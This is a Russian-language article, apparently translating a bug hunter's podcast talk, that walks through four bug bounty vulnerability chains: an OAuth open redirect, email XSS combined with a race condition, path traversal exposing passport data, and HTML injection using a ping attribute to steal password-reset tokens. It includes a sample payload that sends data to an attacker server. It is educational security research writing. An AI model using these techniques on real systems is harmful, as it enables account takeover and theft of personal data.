Вы нашли open redirect, отправили отчет и получили в ответ: «Информационный, выплата не положена». Знакомая ситуация? С ней сталкивался каждый, кто пробовал себя в багбаунти.

О своих находках и о том, как выжать из них максимум, в подкасте рассказал Мухамед Дахер aka m0m0x01d — багхантер и один из топовых исследователей Standoff Bug Bounty. А мы перевели его выступление и делимся им с вами.

Внутри — четыре реальных кейса от Мухамеда. Каждая история — пример того, как незначительную уязвимость можно раскрутить до критического импакта: захвата аккаунта, доступа к панели администратора или утечки.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Ее цель — исключительно образовательная: рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите. Автор не несет ответственности за неправомерное использование опубликованной информации.

Многие багхантеры находят низкоуровневую уязвимость и сразу отправляют отчет, а в ответ получают отказ или минимальную выплату. Это неприятно, потому что вы уже проделали самую сложную часть работы — нашли баг. А теперь еще нужно доказать, что он заслуживает хорошего вознаграждения.

В багбаунти платят за доказанный импакт, а не за теоретическое «я мог бы сделать это». Поэтому если прислать одиночный low-баг, репорт с высокой вероятностью закроют без выплат. За open redirect или отсутствие HTTP-заголовков безопасности сегодня почти никто не платит. В основном такие отчеты отправляют пентестеры, а не охотники за уязвимостями.

Нужно сменить подход: перестаньте искать баги и начните искать точки опоры для дальнейшей атаки. Каждая находка — это примитив. Спросите себя, что он позволяет сделать дальше. Я представляю багхантинг как карту, где любая найденная low-уязвимость — это подсказка, которая приближает вас к главной цели.

Примитивы вместо одиночных багов

Цепочка уязвимостей как конструктор: вы объединяете примитивы до тех пор, пока последствия их эксплуатации будет невозможно отрицать. Когда финальная цепочка собрана и импакт подтвержден, у триажеров не останется вопросов, потому что вы покажете им полную атаку, а не абстрактную теорию.

Чтобы выстраивать цепочки, нужна дисциплина, а не везение. Ведите список примитивов и никогда не выбрасывайте ненужное. Я всегда записываю все находки, даже если они кажутся бесполезными, вплоть до простой информации об объекте исследования. Через месяц мне может понадобиться open redirect — я просто открываю свои заметки и нахожу его. Смена фокуса тоже помогает: переключаясь на другую цель, вы изучаете новые баги и набираетесь опыта, а возвращаясь к прежней цели, часто видите то, чего раньше не замечали.

A chain = stacking primitives until the impact is undeniable
A chain = stacking primitives until the impact is undeniable

Когда вы изучаете приложение, полезно составить карту границ доверия и машины состояний. На каждом этапе задавайте себе вопрос: что это открывает? И пересматривайте свои выводы при появлении нового примитива.

Помните, что в отчете сначала нужно указывать конечный результат — самое ценное с точки зрения импакта. Если у вас длинная цепочка, не нужно расписывать всю ее в заголовке. На платформах багбаунти отчеты сортируются по критичности — перегруженный заголовок могут пропустить или отложить. Поэтому начните просто «Захват аккаунта на...», а всю хронологию атаки раскройте в описании.

Теперь перейдем к практике и разберем несколько реальных цепочек. Для каждой я собрал уязвимый сервер ChainLab, где воспроизвел найденные баги. Из инструментов понадобятся Burp Suite и сервер взаимодействия: Burp Collaborator или interactSH, а для писем — MailHog. Первая цепочка будет самой простой, но с нее стоит начать, чтобы стало понятно, куда мы вообще движемся.

Кейс № 1. Open redirect, который крадет OAuth-токен

У меня есть открытое перенаправление при аутентификации в системе с открытым входом. Обычный SSO-вход выглядит так: экземпляр Keycloak, имя realm, идентификатор клиента, URI перенаправления и тип ответа. Изменив redirect_uri, я увидел, что сервер перенаправил меня на мой сервер, — классический open redirect без какой-либо защиты.

В запросе к Keycloak redirect_uri подменяется на сервер атакующего — приложение принимает адрес без проверки
В запросе к Keycloak redirect_uri подменяется на сервер атакующего — приложение принимает адрес без проверки

Сама по себе это мелкая информационная уязвимость, за которую никто не платит, но здесь есть важный контекст: это экземпляр Keycloak, и пользователи аутентифицируются через OAuth-код, который передается в URL. Значит, open redirect открывает доступ к этому коду.

Жертва проходит аутентификацию, код и состояние сессии уходят на наш callback, после чего мы оказываемся в сессии жертвы
Жертва проходит аутентификацию, код и состояние сессии уходят на наш callback, после чего мы оказываемся в сессии жертвы

Логика атаки простая: жертва открывает подготовленную ссылку и успешно аутентифицируется через легитимный Keycloak. Сервер перенаправляет ее на мой адрес вместе с OAuth-кодом, и я получаю код и состояние сессии на свой сервер. После этого отправляю код на сервер и аутентифицируюсь под именем жертвы. Это самая базовая цепочка, которая приводит к захвату учетной записи. Но при всей простоте многие багхантеры даже не пытаются ее искать. Ошибка прямо перед глазами, а они отправляют отчет об открытом перенаправлении и получают низкую оценку.

Путь от low-находок к критическому захвату аккаунта: открытое перенаправление, непроверенный redirect_uri, кража кода и one-click ATO
Путь от low-находок к критическому захвату аккаунта: открытое перенаправление, непроверенный redirect_uri, кража кода и one-click ATO

Пару дней назад у меня была длинная цепочка с критическим исходом. Но ее не приняли, потому что ранее кто-то уже сообщил о незначительной ошибке в начале моей цепочки, получив за это всего пять-десять долларов. Мне кажется, он сделал это из любви к процессу, но на деле оно не стоило потраченного времени.

Результат первой цепочки: открытое перенаправление, отсутствие проверки, кража кода и захват учетной записи.

Кейс № 2. RFC-инъекция, гонка состояний и внутренняя панель администратора

Эта цепочка получилась одной из самых сложных в моей практике, потому что для достижения результата потребовалось объединить множество различных багов. Началось все с обычной регистрации на форуме.

Инъекция в email по стандарту RFC

После регистрации войти в приложение нельзя, пока не подтвердишь адрес электронной почты. Но если вы допустили ошибку при вводе, появляется окно с предложением изменить адрес или подтвердить текущий. Я увидел кнопку «Подтвердить email» и решил попробовать вставить в адрес XSS-нагрузку.

XSS в адресе электронной почты работает, если поместить ее внутри кавычек. Система считает такой адрес допустимым и принимает его как валидный, потому что так устроен стандарт RFC. Это не уязвимость, а полезное знание, которое большинство багхантеров пропускают. Так я находил SQL-инъекции в email, XSS и много других багов.

Меняю email на адрес с XSS-нагрузкой: старая ссылка подтверждения еще активна, а новый адрес остается неподтвержденным
Меняю email на адрес с XSS-нагрузкой: старая ссылка подтверждения еще активна, а новый адрес остается неподтвержденным

Я указал настоящий email, нажал «Изменить email» и вставил пейлоад, но теперь нужно было подтвердить этот фейковый адрес. Приложение приняло email, но для входа все еще нужно было его верифицировать.

Состояние гонки и self-XSS

Проще всего было использовать состояние гонки — это когда вы очень быстро отправляете на сервер несколько запросов одновременно. Сервер не успевает понять, что происходит, и подтверждает все сразу. У меня был старый email, ссылка для подтверждения и возможность отправить новый email. Что будет, если одновременно с отправкой нового email нажать на ссылку подтверждения? Я так и сделал. В результате поддельный адрес подтвердился, и нагрузка сработала.

На этом этапе я получил self-XSS, а в программах багбаунти он обычно не имеет большого импакта. Такие атаки чаще всего не принимают.

Как заставить администратора открыть нагрузку

Приложение, с которым я работал, — это форум. Нужно было сделать так, чтобы кто-то увидел мой адрес электронной почты. А поскольку это приватная информация, сделать это может только админ.

Я создал на форуме новую тему и сам же отправил на нее жалобу, отметив галочками все возможные нарушения, чтобы тикет гарантированно оказался в топе панели администратора. Расчет оказался верным — XSS-нагрузка сработала. Но это произошло во внутренней панели, которая доступна только из локальной сети. Даже имея куки, я бы не смог попасть туда снаружи.

Кража DOM и имперсонация

При слепой атаке XSS я всегда добавляю в пейлоад JavaScript, который извлекает все страницы из исходного кода, получает содержимое DOM, а затем отправляет его на мой сервер.

Нагрузка срабатывает во внутренней панели администратора и отправляет мне весь DOM страницы
Нагрузка срабатывает во внутренней панели администратора и отправляет мне весь DOM страницы

Я открываю полученное DOM-дерево и вижу, что в админ-панели у каждого пользователя есть токен для входа под его учетной записью. Рядом скрытый эндпойнт, который сам не угадаешь: что-то вроде UUID/proxy/login.asp с идентификатором и токеном. Я скопировал ссылку, открыл в режиме инкогнито и перешел по ней, после чего вошел в систему без пароля. Я подумал: теперь у меня есть P1. Значит, нужно повторить все сначала, но вместо идентификатора пользователя заставить JavaScript извлечь идентификатор администратора, который равен 1. Поэтому я указал запрос к /user/1 и повторил цепочку.

В украденном DOM нахожу ссылку для входа под любым пользователем без пароля — это и есть финальный импакт
В украденном DOM нахожу ссылку для входа под любым пользователем без пароля — это и есть финальный импакт

Через час я получил уведомление с токеном для входа под администратором. Открыл ссылку и оказался в панели админа приложения, после чего отправил отчет «Вход под любым пользователем без пароля».

В результате получилась атака в один клик или даже совсем без клика. Я превратил незначительную уязвимость в критическую и получил хорошее вознаграждение.

Путь от обхода фильтра email до захвата аккаунта: гонка состояний, слепой XSS во внутренней админ-панели и подмена входа
Путь от обхода фильтра email до захвата аккаунта: гонка состояний, слепой XSS во внутренней админ-панели и подмена входа

Кейс № 3. Path traversal, который слил миллионы паспортов

Это довольно свежая находка. У меня было приложение, повозившись с которым, я обнаружил обход пути, который дал мне доступ к пользовательскому интерфейсу Swagger. Я быстро все проверил и отправил отчет по path traversal, потому что для меня этого было достаточно, чтобы подтвердить наличие серьезной уязвимости. Как ни странно, программа закрыла его как информационный: мне ответили, что баг не дает доступ к данным, а если бы даже он был, это не критично.

От информационного отчета к доказательству импакта

API, похоже, работает как обратный прокси, обход пути сработал, а внутренний Swagger — это трансформирующая находка, которая указывает на скрытые активы. Теперь нужно доказать импакт. В документации API, которую отдал Swagger, были перечислены внутренние эндпойнты, и один из них вообще не требовал аутентификации: POST /audit-ds/files/duplicates. Для меня это был обычный эндпойнт, и я не надеялся на многое, но все же решил проверить, что он делает, потому что это единственный аутентифицированный эндпойнт, который мне попался.

Swagger показывает внутренние эндпойнты, и один из них не требует авторизации
Swagger показывает внутренние эндпойнты, и один из них не требует авторизации

Оказалось, этот эндпойнт принимает файл, а на стороне компании работает внутренняя система оптического распознавания текста (OCR), которая ищет все похожие файлы в базе данных и возвращает их. Сначала я попробовал отправить аватарку и в ответ получил все фотографии из профилей пользователей. Круто, но не так уж и страшно. Что же делать дальше?

Контекст приложения решает

Я задумался, какие критически важные данные может хранить это приложение. Проверил еще раз и понял, что это торговая площадка, где продавцы обязаны загружать фото паспорта, чтобы пройти верификацию. Вряд ли эти данные удаляют каждый раз после проверки.

Я загуглил и скачал фотографию фейкового паспорта. Загрузил его, и через несколько секунд эндпойнт вернул мне список из десятков тысяч паспортов и каких-то непонятных мне внутренних документов. Теперь у меня есть импакт: массовая утечка персональных данных, причем с помощью только одного загруженного шаблона. Для входа даже не потребовалось авторизоваться.

Напомню, что мой первый отчет по path traversal закрыли как информационный. Затем я отправил второй отчет с той же уязвимостью, но уже с эксплуатацией, которая привела к утечке миллионов документов, — и, конечно, он получил критический статус.

Путь от обхода пути до выгрузки реальных данных
Путь от обхода пути до выгрузки реальных данных

Это отличный кейс. Когда у тебя возникает проблема, ты можешь остановиться, смириться с поражением или продолжать копать, чтобы получить нужный импакт. Важно понимать, что у каждого приложения своя структура и при поиске уязвимости нужно учитывать контекст. Внимание к деталям и нестандартное мышление позволят вам добиваться значительных результатов.

Кейс № 4. HTML-инъекция, которая крадет токен сброса пароля

В последней цепочке рассмотрим базовую инъекцию HTML-кода, которую я расширил, чтобы получить возможность взломать аккаунт в один клик. Это очень старая уязвимость, которую я обнаружил, кажется, в 2018 году. Тогда за нее заплатили около ста долларов, оценив как незначительную, потому что я не очень хорошо написал отчет: недостаточно подробно объяснил детали и последствия. Но я горжусь этой находкой, ведь она была обнаружена в крупной компании, и сегодня за такие уязвимости платят тысячи долларов.

Первый примитив: отражение в письме

Я решил проверить страницу сброса пароля. Ввел свой email, перехватил запрос и увидел параметр redirect_uri. Первым делом попробовал изменить его и вставил случайные данные, чтобы проверить, отразятся ли они в письме. Защита не позволила изменить URI, но сработало добавление HTML-кода в начало URI — он появился в письме.

HTML отражается внутри ссылки в письме для сброса пароля — это и есть точка входа
HTML отражается внутри ссылки в письме для сброса пароля — это и есть точка входа

Я понял, что у меня есть HTML-инъекция, но она не дает никаких преимуществ, кроме разве что фишинга, а он в программах багбаунти не приветствуется. Я подумал, redirect_uri корректно отображается в HTML внутри тега <a> — в лучшем случае это P4, P5, если не больше. Однако я заметил, что в письме для сброса пароля есть токен сброса, а значит, моя цель — получить этот токен.

Загрязнение параметров HTTP

Первый примитив у меня уже есть — это HTML-инъекция. Как добраться от нее до цели? Первое, что я сделал, — использовал загрязнение параметров HTTP. Выглядит это примерно так: https://site.com/reset-password?token=real&token=fake. Когда параметры дублируются, сервер в большинстве случаев считает валидным второй, а первый просто игнорирует.

Чем это выгодно? В письме первый токен будет настоящим, но сервер его проигнорирует. Поэтому когда жертва перейдет по ссылке с поддельным токеном, она увидит сообщение, что токен сброса пароля недействителен. Настоящий токен при этом останется в URL. И вот тут начинается самое интересное: у меня есть настоящий и поддельный токены, но способа извлечь настоящий все еще нет.

Атрибут ping

Тогда я открыл лабораторию PortSwigger и всю документацию по HTML-атрибутам. Я прочитал сотни страниц, чтобы разобраться, потому что подумал, что они могут быть внутри тега <a>. Закрывая тег, я должен использовать какие-то атрибуты, которые мне помогут. После долгих поисков я обнаружил атрибуты ping, которые использовались до появления пикселей. Когда пользователь нажимал на ссылку, браузер отправлял запрос на сервер, чтобы отследить это действие, а сейчас вместо них используются только маленькие пиксельные изображения. Поэтому атрибут ping больше не применяется, хотя раньше был широко распространен.

Вставить его очень просто. Если тег выглядит как <a href="https://site.com/reset-password?token=real&token=fake">, мы закрываем его часть в кавычки и дописываем атрибут ping с нашим сервером. Например: <a href="...?token=real&token=fake" ping="ourserver.com">, где в качестве адресата указан наш Burp Collaborator или другой сервер.

Загрязнение параметров подменяет второй токен, сброс не срабатывает, а ping приносит нам настоящий токен — аккаунт захвачен
Загрязнение параметров подменяет второй токен, сброс не срабатывает, а ping приносит нам настоящий токен — аккаунт захвачен

Когда жертва откроет эту ссылку, на наш сервер уйдет ping-запрос, а в заголовке Referrer будет полная ссылка. Жертва при этом увидит только сообщение о недействительном токене сброса, и на этом цепочка завершится.

Жертва кликает по кнопке, браузер отправляет ping-запрос, и мы получаем полную ссылку с настоящим токеном
Жертва кликает по кнопке, браузер отправляет ping-запрос, и мы получаем полную ссылку с настоящим токеном

У меня появилась полная цепочка. Есть UUID и ping-запрос, который извлекает данные, при этом сброс пароля не удается, второй токен недействителен и безвреден, а настоящий остается нетронутым. Ping отправляет полную ссылку, я забираю идентификатор, получаю настоящий токен, отправляю новый запрос и совершаю захват учетной записи.

Ограничения атрибутов ping

Сегодня почти все коммерческие почтовые провайдеры (вроде Gmail и Hotmail) отказались от атрибута ping: если сейчас отправить такое письмо, он будет автоматически удален. При этом на всех кастомных доменах атрибут ping продолжает работать. С корпоративной почтой он срабатывает всегда, и это важно учитывать.

Итог: HTML-инъекция, загрязнение параметров HTTP, извлечение полной ссылки и захват аккаунта в один клик
Итог: HTML-инъекция, загрязнение параметров HTTP, извлечение полной ссылки и захват аккаунта в один клик

Заключение

Вот что нужно усвоить, если вы занимаетесь поиском уязвимостей:

  • Никогда не удаляйте низкоуровневые баги. Просто сохраните их как примитивы и фиксируйте где-нибудь, потому что они могут пригодиться позже. Сегодня, если скормить ИИ всю имеющуюся у вас информацию, он, вероятно, сможет найти валидную уязвимость для отчета.

  • После каждой находки задайтесь вопросом, что она открывает? Например, у меня была ошибка на странице сброса пароля, и она открыла доступ к токену. Я не знал, как именно буду его использовать, но смог получить к нему доступ. Так что просто ставьте перед собой цель и двигайтесь к ней.

  • Возвращайтесь к уже исследованным целям, когда появляется новый примитив. Вы постоянно учитесь, и через месяц станете более опытным багхантером, чем сегодня. Если вы не нашли уязвимость в приложении, это не значит, что ее там нет. Когда наберетесь опыта, вернитесь к старым приложениям и отчетам.

  • В отчете сначала указывайте конечный результат. Триажеры оценивают импакт, а не разведку, поэтому заголовок должен быть кратким и убедительным.

  • Не воспринимайте поиск уязвимостей как чек-лист. Когда я ищу уязвимости, я не ставлю себе задачу найти конкретный тип, например, из списка OWASP Top 10, а люди часто любят раскладывать их по классам. На самом деле все просто: понять область тестирования, исследовать его, найти уязвимость и отправить отчет.

И никакой магии!

Комментарии (0)